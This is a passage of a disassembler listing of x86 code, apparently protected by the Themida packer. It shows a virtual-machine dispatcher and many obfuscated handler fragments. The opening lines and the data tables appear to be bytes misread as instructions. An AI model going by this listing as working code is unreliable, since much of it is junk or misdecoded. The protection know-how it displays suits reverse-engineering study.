		adc	ebx, [edx+0]
		ja	short loc_58E195
		pop	ecx
		add	ch, ah
		lea	ebx, [ecx+0]
		mov	bl, 0B4h
		pop	ecx
		add	[ecx+90059D0h],	ch
		or	eax, 0C48F005Ah
		pop	ecx
		add	bh, dl
		db	64h
		pop	ecx
		add	al, cl		; CODE XREF: sub_57DD3A+104FEj
		jb	short loc_58E270
		add	[edi-23FFA64Eh], bh
		mov	edx, 14400059h
		pop	edx
		add	[esp+eax+40h+arg_33FB0015], al
		pop	ecx
		add	[edx+20h], al
		pop	edx
		add	[edx+470059A3h], bh
		fistp	dword ptr [ecx+0]
		jmp	short near ptr loc_58E213+1
; ---------------------------------------------------------------------------
		dw 59h
		dd offset loc_59C31C
		dd offset loc_59827B
		dd offset loc_598B88
		dd offset loc_5941A9
		dd offset dword_5964B8
		dd offset loc_594E98
		dd offset loc_58E9EC
		dd offset loc_598035
		dd offset loc_59601A
		dd offset loc_59CFD5
; ---------------------------------------------------------------------------
		rcr	dword ptr [ebp+59h], 0
		sbb	[edx], ah
		pop	edx
		add	cl, dl
		lea	ebx, [ecx+0]


loc_58E270:				; CODE XREF: sub_57DD3A+104DBj
		jl	short near ptr loc_58E27F+2
		pop	ecx
		add	[edx+0A00598Eh], bh
		and	[ecx+0], ebx
		test	edx, edx
		pop	ecx


loc_58E27F:				; CODE XREF: sub_57DD3A:loc_58E270j
		add	[eax-66h], bl
		pop	ecx
		add	ds:0FDA0059h[eax*8], bl
		pop	ecx
		add	[esi], dl
		sbb	eax, 0AC9A0059h
		pop	ecx
		add	bh, bl
		xchg	ebx, [ecx+0]
		mov	dh, 0D4h
		pop	ecx
		add	[eax+eax-25E1FFA7h], bh
		pop	ecx
		add	[ebp+8005A29h],	ah
		imul	ebx, [ecx+0], 4Fh
		fstp	qword ptr [ecx+0]
		rol	edi, cl
		pop	ecx
		add	[ecx], ah
		pop	eax
		pop	ecx
		add	bl, dl
		xor	[edx+0], ebx
		xor	dh, ds:30840059h
		pop	edx
		add	[esi-7EFFA66Ah], ah
		pop	edx
		pop	ecx
		add	[ecx], ch
		or	eax, 0D34F005Ah
		pop	ecx
		add	[esi], al
		cli
		pop	eax
		add	[ebp-26FFA621h], bh
		scasd
		pop	ecx
		add	[esi+1Ah], dl
		pop	ecx
		add	ds:8E005949h, dl
		mov	edi, 4D40059h
		pop	ecx
		add	ds:0E5005941h, bh
		sbb	[edx+0], bl
		sbb	[ebx], cl
		pop	edx
		add	[edi+20h], al
		pop	ecx
		add	[edx], dl
		iret
; ---------------------------------------------------------------------------
		dw 59h
		dd offset loc_58FB97
		dd offset loc_5A1711
; ---------------------------------------------------------------------------


loc_58E30C:				; CODE XREF: Themida_:005D45BEj
					; sub_5E67F9+ECj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61648E5h
		mov	eax, edi
		add	edi, 61645FDh
		cmp	eax, [edi+2Ch]
		jnz	short loc_58E32A
		jmp	short loc_58E33D
; ---------------------------------------------------------------------------


loc_58E32A:				; CODE XREF: sub_57DD3A+105ECj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_58E339
; ---------------------------------------------------------------------------


loc_58E334:				; CODE XREF: sub_57DD3A+10601j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58E339:				; CODE XREF: sub_57DD3A+105F8j
		or	ecx, ecx
		jnz	short loc_58E334


loc_58E33D:				; CODE XREF: sub_57DD3A+105EEj
		mov	esi, [esp+14h+arg_A+2]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58E34A:				; CODE XREF: sub_57DD3A+10617j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58E34A


loc_58E353:				; CODE XREF: sub_57DD3A+106DDj
					; sub_57DD3A+106EAj ...
		lodsb
		jmp	loc_598255
; ---------------------------------------------------------------------------


loc_58E359:				; CODE XREF: sub_57DD3A+19F6Bj
		sub	ebx, 417CEFBh
		jmp	loc_5A0952
; ---------------------------------------------------------------------------


loc_58E364:				; CODE XREF: sub_57DD3A+1473Dj
		add	esp, 4
		std
		jmp	loc_58FBEE
; ---------------------------------------------------------------------------


loc_58E370:				; CODE XREF: sub_57DD3A+1C99Aj
		or	esi, 40536CB2h
		sub	esi, 48E005D6h
		sub	esi, 91B69E0h
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp+0Ch+var_E+2]
		jmp	loc_5A32B4
; ---------------------------------------------------------------------------


loc_58E393:				; CODE XREF: sub_57DD3A+1CF0Ej
		sub	ecx, 4
		xchg	ecx, [esp+0Ch+var_E+2]
		pop	esp
		jmp	loc_59F0E3
; ---------------------------------------------------------------------------


loc_58E39F:				; CODE XREF: sub_57DD3A+1FE08j
		mov	[esp+8+var_8], eax
		mov	ah, 32h
		mov	dl, ah
		jmp	loc_58EA2A
; ---------------------------------------------------------------------------


loc_58E3AB:				; CODE XREF: sub_57DD3A+18C34j
		add	ebp, 67704460h
		pop	ebx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		jmp	loc_59987B
; ---------------------------------------------------------------------------


loc_58E3C0:				; CODE XREF: sub_57DD3A+22009j
		neg	ebp
		and	ebp, 30163A31h
		jmp	loc_5A2F6A
; ---------------------------------------------------------------------------


loc_58E3CD:				; CODE XREF: sub_57DD3A+19425j
		xor	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 663B1D10h
		jmp	loc_59B3F9
; ---------------------------------------------------------------------------


loc_58E3DB:				; CODE XREF: sub_57DD3A+1D3C0j
		sub	esp, 4
		mov	[esp+0Ch+var_E+2], esp
		add	[esp+0Ch+var_E+2], 4
		mov	edx, [esp+0Ch+var_E+2]
		add	esp, 4
		add	edx, 4
		push	ebx
		push	1F2Bh
		mov	[esp+10h+var_12+2], ebp
		push	3A93652Ch
		mov	ebp, [esp+14h+var_16+2]
		jmp	loc_593E2A
; ---------------------------------------------------------------------------


loc_58E40A:				; CODE XREF: sub_57DD3A+15F23j
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp+14h+var_16+2]
		pop	esp
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58E41C:				; CODE XREF: sub_57DD3A+1F109j
		pop	[esp+10h+var_12+2]
		pop	esp
		shl	byte ptr [esp+8+var_8],	cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58E429:				; CODE XREF: sub_57DD3A+252B0j
		mov	esi, 4
		mov	ebp, esi
		pop	esi
		add	edx, ebp
		pop	ebp
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		jmp	loc_5A20E4
; ---------------------------------------------------------------------------


loc_58E44B:				; CODE XREF: sub_57DD3A+1F8BAj
		push	0
		pop	ebx
		sub	ebx, 69907FFFh
		push	edx
		mov	edx, 69EF2F10h
		sub	ebx, edx
		pop	edx
		jmp	loc_592E7A
; ---------------------------------------------------------------------------


loc_58E465:				; CODE XREF: sub_57DD3A+1BC57j
		pop	esi
		xor	ebx, 5114593Ch
		jmp	loc_596BE0
; ---------------------------------------------------------------------------


loc_58E471:				; CODE XREF: sub_57DD3A+1A4CDj
		add	esp, 4
		jmp	loc_59F82E
; ---------------------------------------------------------------------------


loc_58E479:				; CODE XREF: sub_57DD3A+10804j
		mov	esp, [esp+4+var_4]
		push	6DF5h
		jmp	loc_596694
; ---------------------------------------------------------------------------


loc_58E486:				; DATA XREF: sub_57DD3A+1034Ao
		push	[esp+8+var_8]
		push	[esp+0Ch+var_E+2]
		pop	ecx
		add	esp, 4
		push	409h
		mov	[esp+0Ch+var_E+2], esi
		push	5621h
		mov	[esp+10h+var_12+2], esp
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebp
		push	50EBh
		mov	[esp+18h+var_1A+2], ebx
		jmp	loc_59F065
; ---------------------------------------------------------------------------


loc_58E4B3:				; CODE XREF: sub_57DD3A+196CAj
		sub	ebx, 780143A2h
		add	ebx, 593863F1h
		add	ebx, esi
		sub	ebx, 593863F1h
		add	ebx, 780143A2h
		pop	esi
		xor	ebx, [esp+14h+var_16+2]
		xor	[esp+14h+var_16+2], ebx
		xor	ebx, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		sub	word ptr [esp+14h+var_16+2], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58E4E4:				; CODE XREF: sub_57DD3A+22E5Cj
		add	ebp, 73FA37E8h
		add	ebp, 4A74318Ah
		jmp	loc_5A1D43
; ---------------------------------------------------------------------------


loc_58E4F5:				; CODE XREF: sub_57DD3A+1F55Aj
		add	eax, 1DC853D1h
		sub	eax, 9BB2EE2h
		sub	eax, edx
		add	eax, 9BB2EE2h
		sub	eax, 1DC853D1h
		pop	edx
		add	eax, 6FFB08ADh
		jmp	loc_599639
; ---------------------------------------------------------------------------


loc_58E516:				; CODE XREF: sub_57DD3A+1E7D5j
		push	edx
		jmp	loc_592695
; ---------------------------------------------------------------------------


loc_58E51C:				; CODE XREF: sub_57DD3A+23BF9j
		xor	esi, 4AE63FF6h
		neg	esi
		push	eax
		mov	eax, 0B3DE9AA4h
		sub	esi, eax
		pop	eax
		sub	ecx, esi
		pop	esi
		jmp	loc_59EE67
; ---------------------------------------------------------------------------


loc_58E535:				; CODE XREF: sub_57DD3A+2070Cj
		add	esi, 4
		xchg	esi, [esp+14h+var_16+2]
		jmp	loc_58E479
; ---------------------------------------------------------------------------


loc_58E543:				; CODE XREF: sub_57DD3A+24B48j
		mov	edi, 4
		jmp	loc_59C045
; ---------------------------------------------------------------------------


loc_58E54D:				; CODE XREF: sub_57DD3A+1C77Dj
		pop	ecx
		add	esp, 4
		pop	eax
		push	ebx
		push	ecx
		jmp	loc_5930FA
; ---------------------------------------------------------------------------


loc_58E55C:				; CODE XREF: sub_57DD3A+1B620j
		push	5D31FDAh
		push	[esp+14h+var_16+2]
		pop	edx
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], edx
		mov	edx, 0
		jmp	loc_595029
; ---------------------------------------------------------------------------


loc_58E57F:				; CODE XREF: sub_57DD3A+1ECAFj
		add	ebx, 65D80409h
		add	ebx, edx
		sub	ebx, 65D80409h
		pop	edx
		push	ebx
		push	[esp+18h+var_16+2]
		push	[esp+1Ch+var_1E+2]
		pop	ebx
		add	esp, 4
		jmp	loc_58FCB8
; ---------------------------------------------------------------------------


loc_58E5A2:				; CODE XREF: sub_57DD3A+1C064j
		add	ebp, edx
		pop	edx
		jmp	loc_596582
; ---------------------------------------------------------------------------


loc_58E5AA:				; CODE XREF: sub_57DD3A+12A4Ej
		mov	word ptr [esp+14h+var_16+2], cx
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58E5B3:				; CODE XREF: sub_57DD3A+22507j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58E5B8:				; CODE XREF: sub_57DD3A+11208j
		xor	eax, ecx
		xor	eax, ecx
		jmp	loc_593FC7
; ---------------------------------------------------------------------------


loc_58E5C1:				; CODE XREF: sub_57DD3A+17AC3j
		mov	edx, 1
		sub	ebp, edx
		pop	edx
		xor	ebp, 20A10F3h
		or	edx, ebp
		mov	ebp, [esp+10h+var_12+2]
		add	esp, 4
		push	235Dh
		mov	[esp+10h+var_12+2], ecx
		jmp	loc_590C8F
; ---------------------------------------------------------------------------


loc_58E5E4:				; CODE XREF: sub_57DD3A+24AF8j
		mov	[esp+10h+var_12+2], esi
		push	edi
		jmp	loc_592384
; ---------------------------------------------------------------------------


loc_58E5ED:				; CODE XREF: sub_57DD3A+11D45j
		add	[esp+14h+var_12+2], eax
		jmp	loc_59C30B
; ---------------------------------------------------------------------------


loc_58E5F6:				; CODE XREF: sub_57DD3A+196A1j
		sub	esp, 4
		jmp	loc_5A107A
; ---------------------------------------------------------------------------


loc_58E601:				; CODE XREF: sub_57DD3A+16DF0j
		add	eax, esi
		pop	esi
		add	eax, 2
		xor	eax, [esp+14h+var_16+2]
		xor	[esp+14h+var_16+2], eax
		xor	eax, [esp+14h+var_16+2]
		pop	esp
		jmp	loc_594477
; ---------------------------------------------------------------------------


loc_58E616:				; CODE XREF: sub_57DD3A+23FC5j
		sub	edi, 4
		xchg	edi, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		mov	[esp+10h+var_12+2], edx
		mov	edx, 0
		jmp	loc_598BD0
; ---------------------------------------------------------------------------


loc_58E62F:				; CODE XREF: sub_57DD3A+2504Bj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_12+2]
		pop	esp
		push	0C9Dh
		mov	[esp+10h+var_12+2], ebp
		push	esp
		jmp	loc_5A2B59
; ---------------------------------------------------------------------------


loc_58E64C:				; CODE XREF: sub_57DD3A+1F5D0j
		add	ecx, eax
		add	ecx, 124603Ch
		mov	eax, [esp+14h+var_16+2]
		jmp	loc_59CE0A
; ---------------------------------------------------------------------------


loc_58E65C:				; CODE XREF: sub_57DD3A+1182Ej
		add	esp, 4
		pop	[esp+10h+var_12+2]
		mov	esp, [esp+0Ch+var_E+2]
		add	word ptr [esp+0Ch+var_E+2], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58E66F:				; CODE XREF: sub_57DD3A+18CB0j
		mov	ch, 47h
		shr	ch, 1
		jmp	loc_59E110
; ---------------------------------------------------------------------------


loc_58E678:				; CODE XREF: sub_57DD3A+15CE3j
		add	esi, 7CEB113Ch
		shl	esi, 5
		dec	esi
		push	7EBCh
		mov	[esp+14h+var_16+2], ecx
		mov	ecx, 5FDC77C0h
		shl	ecx, 3
		and	ecx, 49974322h
		or	ecx, 2D4455B5h
		push	eax
		mov	eax, 5CD42D48h
		and	ecx, eax
		jmp	loc_5A0BA3
; ---------------------------------------------------------------------------


loc_58E6AB:				; CODE XREF: sub_57DD3A+23F68j
		add	esp, 4
		pop	ecx
		push	edi
		mov	edi, 4
		add	edx, 6326BBh
		add	edx, edi
		sub	esp, 4
		jmp	loc_5A2CD4
; ---------------------------------------------------------------------------


loc_58E6C5:				; CODE XREF: sub_57DD3A+20366j
		dec	ebp
		jmp	loc_5A18AF
; ---------------------------------------------------------------------------


loc_58E6CB:				; CODE XREF: sub_57DD3A+140B4j
		pop	ecx
		add	esp, 4
		shl	edi, 6
		neg	edi
		and	edi, 2C897D21h
		inc	edi
		add	edi, 8E7AB9D3h
		jmp	loc_5999C9
; ---------------------------------------------------------------------------


loc_58E6E9:				; CODE XREF: sub_57DD3A+18B39j
		mov	edx, 17A63F93h
		jmp	loc_59A035
; ---------------------------------------------------------------------------


loc_58E6F3:				; CODE XREF: sub_57DD3A+214F6j
		mov	ecx, 61CA77AFh
		and	ecx, 5EA66B5Eh
		or	ecx, 14AB0FC8h
		xor	ecx, 67BD631Bh
		jmp	loc_59DA9E
; ---------------------------------------------------------------------------
		push	4CA1h
		mov	[esp+14h+var_16+2], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59B3D6
; ---------------------------------------------------------------------------


loc_58E724:				; CODE XREF: sub_57DD3A+18B10j
		add	esp, 4
		pop	ecx
		jmp	loc_59F532
; ---------------------------------------------------------------------------


loc_58E72D:				; CODE XREF: sub_57DD3A+1BAA8j
		sub	ebp, 0B9536393h
		add	esi, ebp
		pop	ebp
		sub	esi, 1
		xor	esi, 70A05551h
		push	esi
		mov	eax, [esp+0Ch+var_E+2]
		jmp	loc_5A10AC
; ---------------------------------------------------------------------------


loc_58E74B:				; CODE XREF: sub_57DD3A+2431Aj
		pop	[esp+0Ch+var_E+2]
		push	eax
		mov	eax, 4
		add	[esp+0Ch+var_8], eax
		jmp	loc_598D4D
; ---------------------------------------------------------------------------


loc_58E75D:				; CODE XREF: sub_57DD3A+115F3j
		pop	esi
		sub	eax, 3F027405h
		add	eax, edi
		push	ebp
		mov	ebp, 44B847CDh
		xor	ebp, 7BBA33C8h
		add	eax, ebp
		pop	ebp
		push	edx
		push	ebp
		push	esi
		mov	esi, 3B5E6ACAh
		jmp	loc_597126
; ---------------------------------------------------------------------------


loc_58E781:				; CODE XREF: sub_57DD3A+1A463j
		pop	esi
		push	ecx
		mov	ecx, 43A8705Ch
		dec	ecx
		or	ecx, 485E030Eh
		dec	ecx
		dec	ecx
		sub	ecx, 0B4B207Ch
		add	esi, 0B9D474Ch
		sub	esi, ecx
		sub	esi, 0B9D474Ch
		pop	ecx
		jmp	loc_595AAF
; ---------------------------------------------------------------------------


loc_58E7AB:				; CODE XREF: sub_57DD3A+1633Aj
		sub	esp, 4
		mov	[esp+14h+var_16+2], eax
		mov	eax, esi
		push	6611h
		mov	[esp+18h+var_1A+2], eax
		xor	[esp+18h+var_1A+2], 4CEB6DF3h
		pop	edi
		push	edx
		mov	edx, 25235A83h
		shr	edx, 1
		dec	edx
		jmp	loc_595C47
; ---------------------------------------------------------------------------


loc_58E7D4:				; CODE XREF: sub_57DD3A+13046j
		pop	esi
		add	esp, 4
		sub	ebx, esi
		mov	esi, [esp+10h+var_12+2]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_598BB0
; ---------------------------------------------------------------------------


loc_58E7F1:				; CODE XREF: sub_57DD3A+232C4j
		dec	edi
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebp
		jmp	loc_591A7E
; ---------------------------------------------------------------------------


loc_58E800:				; CODE XREF: sub_57DD3A+1C958j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], esi
		jmp	loc_59A9F8
; ---------------------------------------------------------------------------


loc_58E816:				; CODE XREF: sub_57DD3A+1D02Cj
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp+14h+var_16+2]
		xor	[esp+14h+var_16+2], ebp
		xor	ebp, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		pop	[esp+14h+var_16+2]
		jmp	loc_59D110
; ---------------------------------------------------------------------------


loc_58E837:				; CODE XREF: sub_57DD3A+11D08j
		xor	esi, 258F36B7h
		push	edi
		mov	edi, 1582638Ah
		xor	esi, edi
		pop	edi
		or	edx, esi
		pop	esi
		push	ecx
		jmp	loc_58F9B8
; ---------------------------------------------------------------------------


loc_58E84F:				; CODE XREF: sub_57DD3A+146CEj
		add	al, bh
		add	al, 27h
		mov	ebx, [esp+10h+var_12+2]
		add	esp, 4
		push	bx
		mov	bh, 57h
		jmp	loc_5995F7
; ---------------------------------------------------------------------------


loc_58E862:				; CODE XREF: sub_57DD3A+15DBDj
		xchg	ebp, [esp+0Eh+var_E]
		mov	esp, [esp+0Eh+var_E]
		jmp	loc_5A2EAD
; ---------------------------------------------------------------------------


loc_58E86D:				; CODE XREF: sub_57DD3A+11001j
		add	esp, 4
		push	eax
		jmp	loc_59E2F0
; ---------------------------------------------------------------------------


loc_58E876:				; CODE XREF: sub_57DD3A+10D9Fj
		push	ebp
		mov	ebp, 1
		add	edi, ebp
		pop	ebp
		sub	edi, 2AEB3686h
		jmp	loc_5A2467
; ---------------------------------------------------------------------------


loc_58E88A:				; CODE XREF: sub_57DD3A+22873j
		xor	ecx, ebx
		pop	ebx
		mov	edx, ecx
		pop	ecx
		add	edx, 37693D44h
		add	edx, eax
		jmp	loc_599D84
; ---------------------------------------------------------------------------


loc_58E89D:				; CODE XREF: sub_57DD3A+1D6FEj
		xor	byte ptr [esp+6+var_8+2], bh
		xor	bh, byte ptr [esp+6+var_8+2]
		xor	byte ptr [esp+6+var_8+2], bh
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58E8AB:				; CODE XREF: sub_57DD3A+133C0j
		push	eax
		mov	eax, 48C6348Bh
		xor	eax, 3E7A414Ch
		mov	ecx, eax
		pop	eax
		sub	eax, ecx
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		sub	eax, 1AF7016Bh
		add	eax, 98B1DA1h
		add	eax, edi
		jmp	loc_59C615
; ---------------------------------------------------------------------------


loc_58E8D5:				; CODE XREF: sub_57DD3A+12A1Ej
		mov	dl, 62h
		add	dl, 67h
		jmp	loc_59D8E2
; ---------------------------------------------------------------------------


loc_58E8DF:				; CODE XREF: sub_57DD3A+1D7C2j
		mov	[esp+2+var_4+2], edi
		mov	edi, 33AE4EECh
		add	edi, 5F233868h
		shr	edi, 1
		push	ebx
		jmp	loc_599203
; ---------------------------------------------------------------------------


loc_58E8F5:				; CODE XREF: sub_57DD3A+184AEj
		pop	ecx
		sub	esp, 4
		mov	[esp+6+var_8+2], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_597E93
; ---------------------------------------------------------------------------


loc_58E90C:				; CODE XREF: sub_57DD3A+21A6Cj
		add	edi, 72712D2Ch
		jmp	loc_5A2BE8
; ---------------------------------------------------------------------------


loc_58E917:				; CODE XREF: sub_57DD3A+1A946j
		add	dl, 38h
		jmp	loc_59248B
; ---------------------------------------------------------------------------


loc_58E91F:				; CODE XREF: sub_57DD3A+15AEEj
		inc	edx
		dec	edx
		add	edx, 2B4BD6F5h
		jmp	loc_5998E4
; ---------------------------------------------------------------------------


loc_58E92C:				; CODE XREF: sub_57DD3A+15D99j
		mov	[esp+6+var_8+2], ebp
		jmp	loc_592A4E
; ---------------------------------------------------------------------------


loc_58E934:				; CODE XREF: sub_57DD3A+12876j
		pop	ebp
		not	edx
		push	4940h
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 7388034Bh
		shr	ebp, 8
		add	ebp, 0BD089A2h
		sub	edx, ebp
		pop	ebp
		add	edx, 0C5B20111h
		sub	ebp, 406F2C5Ah
		add	ebp, edx
		add	ebp, 406F2C5Ah
		jmp	loc_591F42
; ---------------------------------------------------------------------------


loc_58E969:				; CODE XREF: sub_57DD3A+16409j
		push	[esp+2+var_4+2]
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		push	4095h
		jmp	loc_59F882
; ---------------------------------------------------------------------------


loc_58E97F:				; CODE XREF: sub_57DD3A+1D7E9j
		add	ch, 0C3h
		add	ch, 0A6h
		jmp	loc_594417
; ---------------------------------------------------------------------------


loc_58E98A:				; CODE XREF: sub_57DD3A+21997j
		add	ecx, 451059Dh
		jmp	loc_592165
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 3FFBh
		mov	word ptr [esp+8+var_8],	ax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58E9A7:				; CODE XREF: sub_57DD3A+21437j
		mov	ecx, 40E56F2Dh
		sub	edx, ecx
		jmp	loc_5A0B2E
; ---------------------------------------------------------------------------


loc_58E9B3:				; CODE XREF: sub_57DD3A+1CDA0j
		and	edx, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		dec	edx
		shr	edx, 8
		shl	edx, 1
		jmp	loc_596BC8
; ---------------------------------------------------------------------------


loc_58E9C9:				; CODE XREF: sub_57DD3A+12106j
		add	esp, 4
		jmp	loc_58F19F
; ---------------------------------------------------------------------------


loc_58E9D1:				; CODE XREF: sub_57DD3A+136A6j
		add	ebx, 4
		jmp	loc_593233
; ---------------------------------------------------------------------------


loc_58E9DC:				; CODE XREF: sub_57DD3A+1C3D8j
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, esp
		jmp	loc_59E097
; ---------------------------------------------------------------------------


loc_58E9EC:				; DATA XREF: sub_57DD3A+1051Ao
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+2+var_4+2], al
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58E9FB:				; CODE XREF: sub_57DD3A+1C49Aj
		add	esp, 4
		push	ax
		jmp	loc_591CE5
; ---------------------------------------------------------------------------


loc_58EA05:				; CODE XREF: sub_57DD3A+1F895j
		pop	eax
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	201Ch
		jmp	loc_590320
; ---------------------------------------------------------------------------


loc_58EA21:				; CODE XREF: sub_57DD3A+1DEE7j
		pop	small word ptr [esp+4+var_4]
		jmp	loc_590075
; ---------------------------------------------------------------------------


loc_58EA2A:				; CODE XREF: sub_57DD3A+1066Cj
		mov	eax, [esp+8+var_8]
		push	7DA4h
		jmp	loc_5A0F19
; ---------------------------------------------------------------------------


loc_58EA37:				; CODE XREF: sub_57DD3A+1FEFEj
		pop	ebp
		push	esi
		mov	esi, 4546241Eh
		xor	esi, 58306BC8h
		push	edi
		jmp	loc_58FE55
; ---------------------------------------------------------------------------


loc_58EA4A:				; CODE XREF: sub_57DD3A+195D3j
		sub	ebx, 75346506h
		jmp	loc_5A0E2C
; ---------------------------------------------------------------------------


loc_58EA55:				; CODE XREF: sub_57DD3A+21BADj
		push	ebp
		push	esp
		jmp	loc_590032
; ---------------------------------------------------------------------------


loc_58EA5C:				; CODE XREF: sub_57DD3A+1284Aj
		push	ebx
		jmp	loc_5A19FB
; ---------------------------------------------------------------------------


loc_58EA62:				; CODE XREF: sub_57DD3A+24FB0j
		push	ecx
		mov	ecx, 321663ABh
		jmp	loc_59BBAE
; ---------------------------------------------------------------------------


loc_58EA6D:				; CODE XREF: sub_57DD3A+1CA30j
		add	eax, edx
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		xor	eax, 59566EB2h
		sub	edx, 6B616F0h
		sub	edx, 24144087h
		jmp	loc_59D8FA
; ---------------------------------------------------------------------------


loc_58EA8B:				; CODE XREF: sub_57DD3A+1AA0Aj
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_58FBF8
; ---------------------------------------------------------------------------


loc_58EA98:				; CODE XREF: sub_57DD3A+1563Ej
		sub	[esp+18h+var_1A+2], eax
		add	[esp+18h+var_1A+2], 3226732Eh
		push	edx
		jmp	loc_597AF3
; ---------------------------------------------------------------------------


loc_58EAA8:				; CODE XREF: sub_57DD3A+1AC29j
		pop	ebp
		add	edx, 0FDE846BEh
		jmp	loc_59441F
; ---------------------------------------------------------------------------


loc_58EAB4:				; CODE XREF: sub_57DD3A+1DBADj
		xor	[esp+18h+var_1A+2], edx
		xor	edx, [esp+18h+var_1A+2]
		pop	esp
		mov	[esp+14h+var_16+2], ebx
		push	eax
		mov	eax, 61541C08h
		add	[esp+18h+var_16+2], eax
		jmp	loc_59356A
; ---------------------------------------------------------------------------


loc_58EACD:				; CODE XREF: sub_57DD3A+2296Fj
		push	ebp
		jmp	loc_592D0E
; ---------------------------------------------------------------------------


loc_58EAD3:				; CODE XREF: sub_57DD3A+23695j
		add	edi, 1EF72C7Ah
		jmp	loc_58E876
; ---------------------------------------------------------------------------


loc_58EADE:				; CODE XREF: sub_57DD3A+21A05j
		pop	ebx
		sub	ecx, edi
		xchg	ecx, edi
		jmp	loc_59214C
; ---------------------------------------------------------------------------


loc_58EAE8:				; CODE XREF: sub_57DD3A+1C6AAj
		mov	[esp+18h+var_1A+2], edi
		pop	edx
		jmp	loc_590A5C
; ---------------------------------------------------------------------------


loc_58EAF1:				; CODE XREF: sub_57DD3A+1B323j
		push	[esp+14h+var_16+2]
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		jmp	loc_5A022D
; ---------------------------------------------------------------------------


loc_58EB02:				; CODE XREF: sub_57DD3A+13F2Aj
		add	ebp, edi
		jmp	loc_59B21D
; ---------------------------------------------------------------------------


loc_58EB09:				; CODE XREF: sub_57DD3A+14016j
		add	edx, ecx
		push	252Ah
		mov	[esp+18h+var_1A+2], ebp
		mov	ebp, 3BA64284h
		shr	ebp, 6
		xor	ebp, 189DA039h
		add	edx, ebp
		mov	ebp, [esp+18h+var_1A+2]
		add	esp, 4
		pop	ecx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edx
		push	[esp+14h+var_12+2]
		pop	edx
		pop	[esp+14h+var_16+2]
		pop	esp
		push	ebp
		push	3941h
		mov	[esp+14h+var_16+2], esp
		push	ebx
		mov	ebx, 4
		add	[esp+18h+var_16+2], ebx
		pop	ebx
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], ebp
		xor	ebp, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		cmp	ecx, eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58EB78:				; CODE XREF: sub_57DD3A+1ECC9j
		push	ebx
		jmp	loc_5A0CBF
; ---------------------------------------------------------------------------


loc_58EB7E:				; CODE XREF: sub_57DD3A+16479j
		mov	[esp+18h+var_1A+2], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_594D6D
; ---------------------------------------------------------------------------


loc_58EB89:				; CODE XREF: sub_57DD3A+158C9j
		push	edi
		push	52CF560Dh
		pop	edi
		shr	edi, 6
		shr	edi, 4
		sub	edi, 0EAB0AB79h
		jmp	loc_592D8F
; ---------------------------------------------------------------------------


loc_58EBA1:				; CODE XREF: sub_57DD3A+20B57j
		push	ebp
		sub	esp, 4
		mov	[esp+28h+var_2A+2], esi
		jmp	loc_59073B
; ---------------------------------------------------------------------------


loc_58EBAD:				; CODE XREF: sub_57DD3A+1CF1Aj
		xor	dl, al
		pop	ax
		jmp	loc_5959D7
; ---------------------------------------------------------------------------


loc_58EBB6:				; CODE XREF: sub_57DD3A+14F4Ej
		mov	edi, 0A6708C44h
		sub	ecx, edi
		pop	edi
		sub	edx, ecx
		pop	ecx
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58EBC6:				; CODE XREF: sub_57DD3A+17AB3j
